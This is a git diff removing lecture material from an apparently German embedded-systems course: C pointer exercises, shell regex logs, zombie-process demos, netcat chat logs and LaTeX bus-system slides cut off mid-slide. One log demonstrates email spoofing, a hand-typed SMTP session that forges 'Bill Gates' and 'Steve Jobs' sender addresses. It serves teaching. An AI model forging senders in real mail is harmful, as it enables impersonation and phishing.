--- a/20161020/arrays-17.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[][5] = { "Dies", "ist", "ein", "Test" };
- char *p = a[0];
-
- for (int i = 0; i < 4; i++)
- {
- for (int j = 0; p[i]; j++)
- printf ("%c", p[j]);
- printf ("\n");
- }
- return 0;
-}
diff --git a/20161020/arrays-18.c b/20161020/arrays-18.c
deleted file mode 100644
index 76e69b017f2340f0619915301f7d8f84c3ec6a87..0000000000000000000000000000000000000000
--- a/20161020/arrays-18.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[][5] = { "Dies", "ist", "ein", "Test" };
- char *p = a[0];
-
- for (int i = 0; i < 4; i++)
- {
- for (int j = 0; p[j]; j++)
- printf ("%c", p[j]);
- printf ("\n");
- }
- return 0;
-}
diff --git a/20161020/arrays-19.c b/20161020/arrays-19.c
deleted file mode 100644
index 806d97186992422d30734804988313add3295841..0000000000000000000000000000000000000000
--- a/20161020/arrays-19.c
+++ /dev/null
@@ -1,16 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[][5] = { "Dies", "ist", "ein", "Test" };
- char *p;
-
- for (int i = 0; i < 4; i++)
- {
- p = a[i];
- for (int j = 0; p[j]; j++)
- printf ("%c", p[j]);
- printf ("\n");
- }
- return 0;
-}
diff --git a/20161020/arrays-2.c b/20161020/arrays-2.c
deleted file mode 100644
index 72e548bcaa5525cc510558e6e5e342132034fa01..0000000000000000000000000000000000000000
--- a/20161020/arrays-2.c
+++ /dev/null
@@ -1,9 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- int hello[] = { 84, 101, 115, 116, 0 };
- for (int i = 0; hello[i]; i++)
- printf ("%c\n", hello[i]);
- return 0;
-}
diff --git a/20161020/arrays-20.c b/20161020/arrays-20.c
deleted file mode 100644
index ac7237126792505a10481ceffddfeb24fc6773e4..0000000000000000000000000000000000000000
--- a/20161020/arrays-20.c
+++ /dev/null
@@ -1,16 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[][5] = { "Dies", "ist", "ein", "Test" };
- char *p = a[0];
-
- for (int i = 0; i < 4; i++)
- {
- for (int j = 0; p[j]; j++)
- printf ("%c", p[j]);
- printf ("\n");
- p++;
- }
- return 0;
-}
diff --git a/20161020/arrays-21.c b/20161020/arrays-21.c
deleted file mode 100644
index 935ba0b5ce0427a13adf76725f4ab9bab1215d6f..0000000000000000000000000000000000000000
--- a/20161020/arrays-21.c
+++ /dev/null
@@ -1,16 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[][5] = { "Dies", "ist", "ein", "Test" };
- char *p = a[0];
-
- for (int i = 0; i < 4; i++)
- {
- for (int j = 0; p[j]; j++)
- printf ("%c", p[j]);
- printf ("\n");
- p += 5;
- }
- return 0;
-}
diff --git a/20161020/arrays-22.c b/20161020/arrays-22.c
deleted file mode 100644
index 8af94c288811b9d1b9ff7f4038a722c776539b48..0000000000000000000000000000000000000000
--- a/20161020/arrays-22.c
+++ /dev/null
@@ -1,17 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- typedef char string5[5];
- string5 a[] = { "Dies", "ist", "ein", "Test" };
- string5 *p = a;
-
- for (int i = 0; i < 4; i++)
- {
- for (int j = 0; p[j]; j++)
- printf ("%c", p[j]);
- printf ("\n");
- p++;
- }
- return 0;
-}
diff --git a/20161020/arrays-23.c b/20161020/arrays-23.c
deleted file mode 100644
index 910e7249ed4de51e621247118ccafa0edfe8bb65..0000000000000000000000000000000000000000
--- a/20161020/arrays-23.c
+++ /dev/null
@@ -1,17 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- typedef char string5[5];
- string5 a[] = { "Dies", "ist", "ein", "Test" };
- string5 *p = a;
-
- for (int i = 0; i < 4; i++)
- {
- for (int j = 0; (*p)[j]; j++)
- printf ("%c", (*p)[j]);
- printf ("\n");
- p++;
- }
- return 0;
-}
diff --git a/20161020/arrays-24.c b/20161020/arrays-24.c
deleted file mode 100644
index 43d6c94c65e391430f81ea01192403aa21342db5..0000000000000000000000000000000000000000
--- a/20161020/arrays-24.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- typedef char string5[5];
- string5 a[] = { "Dies", "ist", "ein", "Test" };
- string5 *p = a;
-
- for (int i = 0; i < 4; i++)
- {
- printf ("%s\n", (*p)[i]);
- p++;
- }
- return 0;
-}
diff --git a/20161020/arrays-25.c b/20161020/arrays-25.c
deleted file mode 100644
index 357024857ec02f66df155c6bb70c192a7f718f71..0000000000000000000000000000000000000000
--- a/20161020/arrays-25.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- typedef char string5[5];
- string5 a[] = { "Dies", "ist", "ein", "Test" };
- string5 *p = a;
-
- for (int i = 0; i < 4; i++)
- {
- printf ("%s\n", &((*p)[i]));
- p++;
- }
- return 0;
-}
diff --git a/20161020/arrays-26.c b/20161020/arrays-26.c
deleted file mode 100644
index 9a6d4eb28d0e45932dbc7d9db0ef5dfd0789f721..0000000000000000000000000000000000000000
--- a/20161020/arrays-26.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- typedef char string5[5];
- string5 a[] = { "Dies", "ist", "ein", "Test" };
- string5 *p = a;
-
- for (int i = 0; i < 5; i++)
- {
- printf ("%s\n", &((*p)[i]));
- p++;
- }
- return 0;
-}
diff --git a/20161020/arrays-27.c b/20161020/arrays-27.c
deleted file mode 100644
index 8253b70733c00170f9665b8d6c55c334ec08dd4f..0000000000000000000000000000000000000000
--- a/20161020/arrays-27.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- typedef char string5[5];
- string5 a[] = { "Dies", "ist", "ein", "Test" };
- string5 *p = a;
-
- for (int i = 0; i < 4; i++)
- {
- printf ("%s\n", &(*p));
- p++;
- }
- return 0;
-}
diff --git a/20161020/arrays-28.c b/20161020/arrays-28.c
deleted file mode 100644
index 8d76a2a53ffb99efcb6595f76124566d4df45501..0000000000000000000000000000000000000000
--- a/20161020/arrays-28.c
+++ /dev/null
@@ -1,15 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- typedef char string5[5];
- string5 a[] = { "Dies", "ist", "ein", "Test" };
- string5 *p = a;
-
- for (int i = 0; i < 4; i++)
- {
- printf ("%s\n", &(*p)[0]);
- p++;
- }
- return 0;
-}
diff --git a/20161020/arrays-29.c b/20161020/arrays-29.c
deleted file mode 100644
index 292fc4169287f8335b02094f5ef3bfb689fba1fd..0000000000000000000000000000000000000000
--- a/20161020/arrays-29.c
+++ /dev/null
@@ -1,14 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- typedef char string5[5];
- string5 *p = { "Dies", "ist", "ein", "Test" };
-
- for (int i = 0; i < 4; i++)
- {
- printf ("%s\n", &(*p)[0]);
- p++;
- }
- return 0;
-}
diff --git a/20161020/arrays-3.c b/20161020/arrays-3.c
deleted file mode 100644
index 93aef3d7ff7e0e0a2271296c8cb49417587e1f7b..0000000000000000000000000000000000000000
--- a/20161020/arrays-3.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- int hello[] = { 84, 101, 115, 116, 0 };
- for (int i = 0; hello[i]; i++)
- printf ("%c", hello[i]);
- printf ("\n");
- return 0;
-}
diff --git a/20161020/arrays-4.c b/20161020/arrays-4.c
deleted file mode 100644
index 01dbb8280710a3a50560194c19b089476d13ac54..0000000000000000000000000000000000000000
--- a/20161020/arrays-4.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- int hello[] = "Test";
- for (int i = 0; hello[i]; i++)
- printf ("%c", hello[i]);
- printf ("\n");
- return 0;
-}
diff --git a/20161020/arrays-5.c b/20161020/arrays-5.c
deleted file mode 100644
index 8f708c1ea911c39400cdb56b593000cb3499eb1e..0000000000000000000000000000000000000000
--- a/20161020/arrays-5.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char hello[] = "Test";
- for (int i = 0; hello[i]; i++)
- printf ("%c", hello[i]);
- printf ("\n");
- return 0;
-}
diff --git a/20161020/arrays-6.c b/20161020/arrays-6.c
deleted file mode 100644
index d67c2ff17a3835c7b56a853cb84ff139bba5b41d..0000000000000000000000000000000000000000
--- a/20161020/arrays-6.c
+++ /dev/null
@@ -1,10 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char *hello = "Test";
- for (int i = 0; hello[i]; i++)
- printf ("%c", hello[i]);
- printf ("\n");
- return 0;
-}
diff --git a/20161020/arrays-7.c b/20161020/arrays-7.c
deleted file mode 100644
index c31665a05b04b07847f722043097dc58120e5573..0000000000000000000000000000000000000000
--- a/20161020/arrays-7.c
+++ /dev/null
@@ -1,17 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[] = "Test";
- char *p = "Test";
-
- for (int i = 0; a[i]; i++)
- printf ("%c", a[i]);
- printf ("\n");
-
- for (int i = 0; p[i]; i++)
- printf ("%c", p[i]);
- printf ("\n");
-
- return 0;
-}
diff --git a/20161020/arrays-8.c b/20161020/arrays-8.c
deleted file mode 100644
index c2e2e906e913415078dc35d20c13ae47eb444b74..0000000000000000000000000000000000000000
--- a/20161020/arrays-8.c
+++ /dev/null
@@ -1,19 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[] = "Test";
- char *p = "Test";
-
- p = "Hallo";
-
- for (int i = 0; a[i]; i++)
- printf ("%c", a[i]);
- printf ("\n");
-
- for (int i = 0; p[i]; i++)
- printf ("%c", p[i]);
- printf ("\n");
-
- return 0;
-}
diff --git a/20161020/arrays-9.c b/20161020/arrays-9.c
deleted file mode 100644
index e39055aa246282bffc3dc41216c5f1d375cf5950..0000000000000000000000000000000000000000
--- a/20161020/arrays-9.c
+++ /dev/null
@@ -1,19 +0,0 @@
-#include <stdio.h>
-
-int main (void)
-{
- char a[] = "Test";
- char *p = "Test";
-
- a = "Hallo";
-
- for (int i = 0; a[i]; i++)
- printf ("%c", a[i]);
- printf ("\n");
-
- for (int i = 0; p[i]; i++)
- printf ("%c", p[i]);
- printf ("\n");
-
- return 0;
-}
diff --git a/20161020/photo-20161020-144921.jpg b/20161020/photo-20161020-144921.jpg
deleted file mode 100644
index 8ac1314c1730651b300cb27562946d1e28e6d4bf..0000000000000000000000000000000000000000
Binary files a/20161020/photo-20161020-144921.jpg and /dev/null differ
diff --git a/20161020/regular-expressions.log b/20161020/regular-expressions.log
deleted file mode 100644
index d8db10f9fc56db995452b33548942eb983309fa9..0000000000000000000000000000000000000000
--- a/20161020/regular-expressions.log
+++ /dev/null
@@ -1,29 +0,0 @@
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | grep "^H[aeiou]"
-Hello, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "HEllo, world!" | grep "^H[aeiou]"
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hxllo, world!" | grep "^H[aeiou]"
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hxllo, world!" | grep "^H[^xyz]"
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | grep "^H[^xyz]"
-Hello, world!
-cassini/home/peter/bo/2016ws/es/20161020> cat xkcd.sh
-#!/bin/sh
-echo -n "http:"
-curl -s http://xkcd.com \
- | grep "img src=" \
- | grep -v "terrible_small_logo" \
- | grep -v "Selected Comics" \
- | sed -e 's/^[^"]*"//' \
- | sed -e 's/".*$//'
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/ll/xx/'
-Hexxo, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/ll//'
-Heo, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^ll//'
-Hello, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^.*ll//'
-o, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^[aeiou]*ll//'
-Hello, world!
-cassini/home/peter/bo/2016ws/es/20161020> echo "Hello, world!" | sed -e 's/^[Haeiou]*ll//'
-o, world!
-cassini/home/peter/bo/2016ws/es/20161020>
diff --git a/20161020/xkcd.sh b/20161020/xkcd.sh
deleted file mode 100755
index 1f3527422d2952ed52af749335fffe8a62ca6cfe..0000000000000000000000000000000000000000
--- a/20161020/xkcd.sh
+++ /dev/null
@@ -1,8 +0,0 @@
-#!/bin/sh
-echo -n "http:"
-curl -s http://xkcd.com \
- | grep "img src=" \
- | grep -v "terrible_small_logo" \
- | grep -v "Selected Comics" \
- | sed -e 's/^[^"]*"//' \
- | sed -e 's/".*$//'
diff --git a/20161027/photo-20161027-111856.jpg b/20161027/photo-20161027-111856.jpg
deleted file mode 100644
index 2ed69559e83f48717668f359babae845e83a9d61..0000000000000000000000000000000000000000
Binary files a/20161027/photo-20161027-111856.jpg and /dev/null differ
diff --git a/20161027/photo-20161027-183901.jpg b/20161027/photo-20161027-183901.jpg
deleted file mode 100644
index fd217d444deb561366b891b07322629683df98fd..0000000000000000000000000000000000000000
Binary files a/20161027/photo-20161027-183901.jpg and /dev/null differ
diff --git a/20161027/smtp-20161027.log b/20161027/smtp-20161027.log
deleted file mode 100644
index d5bab849b87044f577d9d8eda19af036d56d1dcd..0000000000000000000000000000000000000000
--- a/20161027/smtp-20161027.log
+++ /dev/null
@@ -1,27 +0,0 @@
-phoenix/home/peter> nc 88.198.170.60 25
-220 mx1.gerwinski.de ESMTP Exim 4.84_2 Thu, 27 Oct 2016 11:57:23 +0200
-HELO hs-bochum.de
-250 mx1.gerwinski.de Hello office.g-n-u.de [82.207.128.254]
-MAIL FROM: <gates@microsoft.com>
-250 OK
-RCPT TO: <peter@gerwinski.de>
-550 Unrouteable address
-RCPT TO: <peter@gerwinski.de>
-250 Accepted
-DATA
-354 Enter message, ending with "." on a line by itself
-Subject: Hi! B-)
-From: Steve Jobs <jobs@apple.com>
-To: Peter Gerwinski <gnu@gnu.de>
-
-Dies ist ein Test.
-
-Schöne Grüße
-
- Peter
-.
-250 OK id=1bzhSe-0008U6-H7
-QUIT
-221 mx1.gerwinski.de closing connection
-You might have new mail.
-phoenix/home/peter>
diff --git a/20161103/make-zombies-1.c b/20161103/make-zombies-1.c
deleted file mode 100644
index 3626861d638c8ad6dc8c5c0831b9f5190e20a4dc..0000000000000000000000000000000000000000
--- a/20161103/make-zombies-1.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-int main(void){
- pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
- int i; // Laufvariable
-
- for (i = 0; i < 10; ++i) {
- // Der Vaterprozess erzeugt nun einen Kindprozess,
- // welcher unabh�ngig vom Vaterprozess mit der
- // erneuten Ausf�hrung des Programms beginnt.
- // Ein Kindprozess erzeugt keinen Fork von sich selbst.
- pids[i] = fork();
- if (pids[i] == 0) {
- // dann befinden wir uns in einem der 10 Kindprozesse
- // Der erste Kindprozess wartet 10 Sekunden und jeder
- // weitere Kindprozess wartet 1 Sekunde k�rzer als der
- // vorige.
- printf ("%d BRAINS! ", i);
- sleep(10-i);
- exit(0); // Kindprozess erfolgreich beenden
- }
- }
-
-//
- // hier kommt nur der Vaterprozess vorbei
- for (i = 0; i < 10; ++i){
- // Der Vaterprozess wartet nun, bis der Reihe nach jeder
- // seiner 10 Kindprozesse beendet ist. Leider wird auf das
- // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
- // die anderen Kinder l�ngst erfolgreich beendet wurden,
- // blockiert das erste Kind eine Bereinigung der Prozesstabelle
- waitpid(pids[i], NULL, 0);
- }
-//
-
-// while (1);
- return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161103/make-zombies-2.c b/20161103/make-zombies-2.c
deleted file mode 100644
index d43b17e278e3df5c2373600753d6ac53d89f7af7..0000000000000000000000000000000000000000
--- a/20161103/make-zombies-2.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-int main(void){
- pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
- int i; // Laufvariable
-
- for (i = 0; i < 10; ++i) {
- // Der Vaterprozess erzeugt nun einen Kindprozess,
- // welcher unabh�ngig vom Vaterprozess mit der
- // erneuten Ausf�hrung des Programms beginnt.
- // Ein Kindprozess erzeugt keinen Fork von sich selbst.
- pids[i] = fork();
- if (pids[i] == 0) {
- // dann befinden wir uns in einem der 10 Kindprozesse
- // Der erste Kindprozess wartet 10 Sekunden und jeder
- // weitere Kindprozess wartet 1 Sekunde k�rzer als der
- // vorige.
- printf ("%d BRAINS! ", i);
- sleep(10-i);
- exit(0); // Kindprozess erfolgreich beenden
- }
- }
-
-//
-// // hier kommt nur der Vaterprozess vorbei
-// for (i = 0; i < 10; ++i){
-// // Der Vaterprozess wartet nun, bis der Reihe nach jeder
-// // seiner 10 Kindprozesse beendet ist. Leider wird auf das
-// // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
-// // die anderen Kinder l�ngst erfolgreich beendet wurden,
-// // blockiert das erste Kind eine Bereinigung der Prozesstabelle
-// waitpid(pids[i], NULL, 0);
-// }
-//
-
-// while (1);
- return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161103/make-zombies-3.c b/20161103/make-zombies-3.c
deleted file mode 100644
index 82d671c075e1db7879e8b040f12a8543c0c7436a..0000000000000000000000000000000000000000
--- a/20161103/make-zombies-3.c
+++ /dev/null
@@ -1,41 +0,0 @@
-#include <stdio.h>
-#include <sys/wait.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-int main(void){
- pid_t pids[10]; // Platz f�r 10 Prozess-IDs (die Kindprozesse)
- int i; // Laufvariable
-
- for (i = 0; i < 10; ++i) {
- // Der Vaterprozess erzeugt nun einen Kindprozess,
- // welcher unabh�ngig vom Vaterprozess mit der
- // erneuten Ausf�hrung des Programms beginnt.
- // Ein Kindprozess erzeugt keinen Fork von sich selbst.
- pids[i] = fork();
- if (pids[i] == 0) {
- // dann befinden wir uns in einem der 10 Kindprozesse
- // Der erste Kindprozess wartet 10 Sekunden und jeder
- // weitere Kindprozess wartet 1 Sekunde k�rzer als der
- // vorige.
- printf ("%d BRAINS! ", i);
- sleep(10-i);
- exit(0); // Kindprozess erfolgreich beenden
- }
- }
-
-//
-// // hier kommt nur der Vaterprozess vorbei
-// for (i = 0; i < 10; ++i){
-// // Der Vaterprozess wartet nun, bis der Reihe nach jeder
-// // seiner 10 Kindprozesse beendet ist. Leider wird auf das
-// // Kind mit der l�ngsten Wartezeit zuerst gewartet. Obwohl
-// // die anderen Kinder l�ngst erfolgreich beendet wurden,
-// // blockiert das erste Kind eine Bereinigung der Prozesstabelle
-// waitpid(pids[i], NULL, 0);
-// }
-//
-
- while (1);
-// return 0; // Vaterprozess erfolgreich beenden
-}
diff --git a/20161103/nc-1.log b/20161103/nc-1.log
deleted file mode 100644
index 7a6f4f378d135ce0dbc0fe7453a1e8eee6f25e7e..0000000000000000000000000000000000000000
--- a/20161103/nc-1.log
+++ /dev/null
@@ -1,15 +0,0 @@
-cassini/home/peter/bo/2016ws/es/20161103> nc -l -p 1234
-hallo
-Auch Hallo.moep
-
-moep?
-
-Welche IP?
-Ach so - das kann ich ja nachgucken ...
-
-Sind Sie noch da?
-Herr Hoang?
-
-Ja das bin ich
-:D
-cassini/home/peter/bo/2016ws/es/20161103>
diff --git a/20161103/nc-2.log b/20161103/nc-2.log
deleted file mode 100644
index dab7b96eac1a47549e036ee5e8e38e237540f51f..0000000000000000000000000000000000000000
--- a/20161103/nc-2.log
+++ /dev/null
@@ -1,21 +0,0 @@
-cassini/home/peter> nc -l -p 1235
-hallo
-ich bins
-Bill
-cassini/home/peter> nc -l -p 1235#
-Hallo?
-Bill???
-
-Ist test
-da jemand?
-JA.
-Hallo.
-
-Htest
-err Larraß? Sind Sie das?
-
-Ja
-The cake is a lie
-
-^C
-cassini/home/peter>
diff --git a/20161103/photo-20161103-150203.jpg b/20161103/photo-20161103-150203.jpg
deleted file mode 100644
index 85ec1bad8a904a3c646e5e73aea760e7bb1a9dd3..0000000000000000000000000000000000000000
Binary files a/20161103/photo-20161103-150203.jpg and /dev/null differ
diff --git a/20161110/I2C_data_transfer.svg b/20161110/I2C_data_transfer.svg
deleted file mode 100644
index 4dba5a7e2ac2388dd69e52c8da66667716ed66f8..0000000000000000000000000000000000000000
--- a/20161110/I2C_data_transfer.svg
+++ /dev/null
@@ -1,216 +0,0 @@
-<?xml version="1.0" encoding="UTF-8" standalone="no"?>
-<!-- Created with Inkscape (http://www.inkscape.org/) -->
-<svg
- xmlns:svg="http://www.w3.org/2000/svg"
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- sodipodi:role="line">Master</tspan></text>
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- style="font-size:12px;font-style:normal;font-weight:normal;text-align:end;line-height:125%;writing-mode:lr-tb;text-anchor:end;fill:#000000;fill-opacity:1;stroke:none;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;font-family:Bitstream Vera Sans"
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- id="tspan3063"
- sodipodi:role="line">SCLK</tspan><tspan
- id="tspan3065"
- y="45.724487"
- x="120"
- sodipodi:role="line">MOSI</tspan><tspan
- id="tspan3067"
- y="60.724487"
- x="120"
- sodipodi:role="line">MISO</tspan><tspan
- id="tspan2675"
- y="75.724487"
- x="120"
- sodipodi:role="line">SS</tspan></text>
- <path
- id="path2694"
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- <text
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- <path
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- sodipodi:role="line">SS</tspan></text>
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diff --git a/20161110/Telefon_t-sinus-700.jpg b/20161110/Telefon_t-sinus-700.jpg
deleted file mode 120000
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-../common/Telefon_t-sinus-700.jpg
\ No newline at end of file
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\ No newline at end of file
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\ No newline at end of file
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-../common/dsc_8208.jpg
\ No newline at end of file
diff --git a/20161110/es-20161110.pdf b/20161110/es-20161110.pdf
deleted file mode 100644
index cf001d9958e81dc1da3fb2bbe7f8fb67f16f87a3..0000000000000000000000000000000000000000
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diff --git a/20161110/es-20161110.tex b/20161110/es-20161110.tex
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--- a/20161110/es-20161110.tex
+++ /dev/null
@@ -1,2181 +0,0 @@
-% es-20161006.pdf - Lecture Slides on Software Development for Embedded Systems
-% Copyright (C) 2013, 2014, 2015, 2016 Peter Gerwinski
-%
-% This document is free software: you can redistribute it and/or
-% modify it either under the terms of the Creative Commons
-% Attribution-ShareAlike 3.0 License, or under the terms of the
-% GNU General Public License as published by the Free Software
-% Foundation, either version 3 of the License, or (at your option)
-% any later version.
-%
-% This document is distributed in the hope that it will be useful,
-% but WITHOUT ANY WARRANTY; without even the implied warranty of
-% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-% GNU General Public License for more details.
-%
-% You should have received a copy of the GNU General Public License
-% along with this document. If not, see <http://www.gnu.org/licenses/>.
-%
-% You should have received a copy of the Creative Commons
-% Attribution-ShareAlike 3.0 Unported License along with this
-% document. If not, see <http://creativecommons.org/licenses/>.
-
-\documentclass[10pt,t]{beamer}
-
-\usepackage{pgslides}
-\usepackage{rotating}
-\usepackage{tikz}
-\usepackage[obeyfamily=false,mathrm=mathsf,textrm=sffamily]{siunitx}
-
-\newrgbcolor{lightyellow}{0.95 0.85 0.0}
-\newrgbcolor{lightorange}{1.0 0.7 0.0}
-\newrgbcolor{lightgreen}{0.0 0.8 0.0}
-
-\newcommand{\underconstruction}{%
- \begin{picture}(0,0)
- \put(9,0.3){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}}
- \put(9,0.0){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}}
- \end{picture}}
-
-\title{Eingebettete Systeme}
-\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski}
-\date{10.\ November 2016}
-
-\newcommand{\ItwoC}{I\raisebox{0.5ex}{\footnotesize 2}C}
-
-\begin{document}
-
-\newlength{\normalpdfpageheight}
-\setlength{\normalpdfpageheight}{\pdfpageheight}
-
-\maketitleframe
-
-\nosectionnonumber{\inserttitle}
-
-\begin{frame}
-
- \shownosectionnonumber
-
- \begin{itemize}
- \item[\textbf{1}] \textbf{Was sind eingebettete Systeme?}
- \item[\textbf{2}] \textbf{Einführung in Unix}
- \item[\textbf{3}] \textbf{Arrays und Pointer für Fortgeschrittene}
- \item[\textbf{4}] \textbf{TCP/IP-Netzwerke in der Praxis}
- \item[\textbf{5}] \textbf{Bus-Systeme}
- \begin{itemize}
- \color{red}
- \item[5.1] Was sind Bus-Systeme?
- \item[5.2] RS-232
- \item[5.3] \ItwoC\ (TWI)
- \item[5.4] SPI
- \item[5.5] Beispiel: Benutzung des \ItwoC-Busses
- \end{itemize}
- \item[\textbf{6}] \textbf{Echtzeit}
- \begin{itemize}
- \item[5.1] Was ist Echtzeit?
- \item[5.2] Echtzeitprogrammierung
- \item[5.3] Multitasking
- \item[5.4] Ressourcen
- \item[5.5] Prioritäten
- \end{itemize}
- \end{itemize}
-
-\end{frame}
-
-\setcounter{section}{4}
-\section{Bus-Systeme}
-\subsection{Was sind Bus-Systeme?}
-
-\begin{frame}
- \showsection
- \showsubsection
-
- \begin{quote}
- Ein Bus ist ein System zur Datenübertragung zwischen mehreren
- Teilnehmern über einen gemeinsamen Übertragungsweg.
-% \color{gray}
-% Findet eine Datenübertragung zwischen zwei Teilnehmern statt, so
-% müssen die übrigen Teilnehmer schweigen, da sie sich sonst
-% gegenseitig stören würden. Umgangssprachlich werden mitunter --
-% oft aus historischen Gründen – auch Datenübertragungssysteme als
-% "`Bus"' bezeichnet, die technisch eigentlich eine andere
-% Topologie besitzen.
-
- \medskip
-
- \strut\hfill\url{https://de.wikipedia.org/wiki/Bus_(Datenverarbeitung)}
- \end{quote}
- Beispiele:
- \begin{itemize}
- \item
- Computer kommuniziert mit Peripherie
- \item
- Computer kommunizieren (direkt) miteinander
- \item
- Prozessor kommuniziert mit externem Speicher
- \item
- Teile eines Prozessors kommunizieren miteinander
- \end{itemize}
-\end{frame}
-
-\begin{frame}
- \showsection
- \showsubsection
- Standard-Computer:
- \begin{itemize}
- \item
- Einsteckkarten: PCI (und Vorgänger)
- \item
- Festplatten: SATA (und Vorgänger)
- \item
- USB, FireWire, \dots
- \item
- Ethernet, CAN-Bus, \dots
- \item
- WLAN, BlueTooth, IR, \dots
- \item
- PS/2, RS-232, Centronics
- \end{itemize}
-
- \medskip
-
- Minimal-Hardware:
- \begin{itemize}
- \item
- RS-232
- \item
- \ItwoC\ (TWI)
- \item
- SPI
- \end{itemize}
-
- \begin{onlyenv}<1>
- \begin{picture}(0,0)
- \put(5,1.5){\includegraphics[height=3cm]{motherboard-anschluesse.jpg}}
- \end{picture}
- \end{onlyenv}
- \begin{onlyenv}<2>
- \begin{picture}(0,0)(-1.3,-4)
- \put(1.8,-4.9){\includegraphics[height=3.5cm]{kompassmodul-an-roboter.jpg}}
- \put(6.1,-3.3){\includegraphics[height=4.5cm]{kompassmodul.jpg}}
- \put(6.1,1.2){\makebox(0,0)[tr]{\tikz{\draw(0,0)--(-1.9,-3.6);}}}
- \put(6.1,-3.3){\makebox(0,0)[br]{\tikz{\draw(0,0)--(-1.8,0.2);}}}
- \end{picture}
- \end{onlyenv}
-\end{frame}
-
-\begin{frame}[fragile]
-
- \showsection
- \showsubsection
-
- \vspace*{-\bigskipamount}
- \begin{tabbing}
- \newterm{Punkt-zu-Punkt}\quad\=\kill
- \newterm{seriell} \> jedes Bit einzeln übertragen\\
- \newterm{parallel} \> mehrere Bits gleichzeitig\\[\smallskipamount]
- \newterm{synchron} \> Abgleich über Steuerleitung: \newterm{Takt}\\
- \newterm{asynchron} \> Abgleich über Zeitvereinbarungen\\[\smallskipamount]
- \newterm{Punkt-zu-Punkt} \> genau zwei Teilnehmer\\
- \newterm{busfähig} \> mehrere Teilnehmer, mit \newterm{Adressierung}
- \end{tabbing}
-
- \begin{itemize}
- \item
- \ItwoC: seriell, synchron, mit Adressierung
- \item
- RS-232: seriell, asynchron, Punkt-zu-Punkt
- \item
- RS-485, USB, CAN: seriell, asynchron, mit Adressierung
- \item
- SPI: seriell, synchron, Punkt-zu-Punkt oder mit Adressierung
- \end{itemize}
-
-\end{frame}
-
-\subsection{RS-232}
-
-\begin{frame}
- \showsection
- \showsubsection
-
- seriell
- \begin{itemize}
- \item
- \newterm{TX\/}: 1 Leitung für Daten
- \item
- \newterm{RX\/}: ggf.\ 1 Leitung für Daten in der anderen Richtung
- \item
- \newterm{GND\/}: gemeinsame \newterm{Masse}
- \item
- evtl.\ zusätzliche Steuerleitungen
- \end{itemize}
-
- \medskip
-
- synchron
- \begin{itemize}
- \item
- \emph{keine\/} Taktleitung für Abgleich, wann Daten anliegen
- \item
- Stattdessen: Abgleich über Zeitvereinbarungen
- \arrowitem
- Jeder Teilnehmer braucht eine eigene Zeitbasis.
- \end{itemize}
-
- \medskip
-
- Punkt-zu-Punkt
- \begin{itemize}
- \item
- nur 2 Teilnehmer vorgesehen
- \end{itemize}
-\end{frame}
-
-\begin{frame}
- \showsubsection
- \vspace*{-0.35cm}
- \begin{center}
- \includegraphics[scale=0.9]{rs-232.pdf}
- \end{center}
-\end{frame}
-
-\subsection{\protect\ItwoC\ (TWI)}
-
-\begin{frame}
- \showsection
- \showsubsection
-
- \ItwoC\ = Inter-IC; TWI = Two-Wire-Interface
-
- \medskip
-
- seriell
- \begin{itemize}
- \item
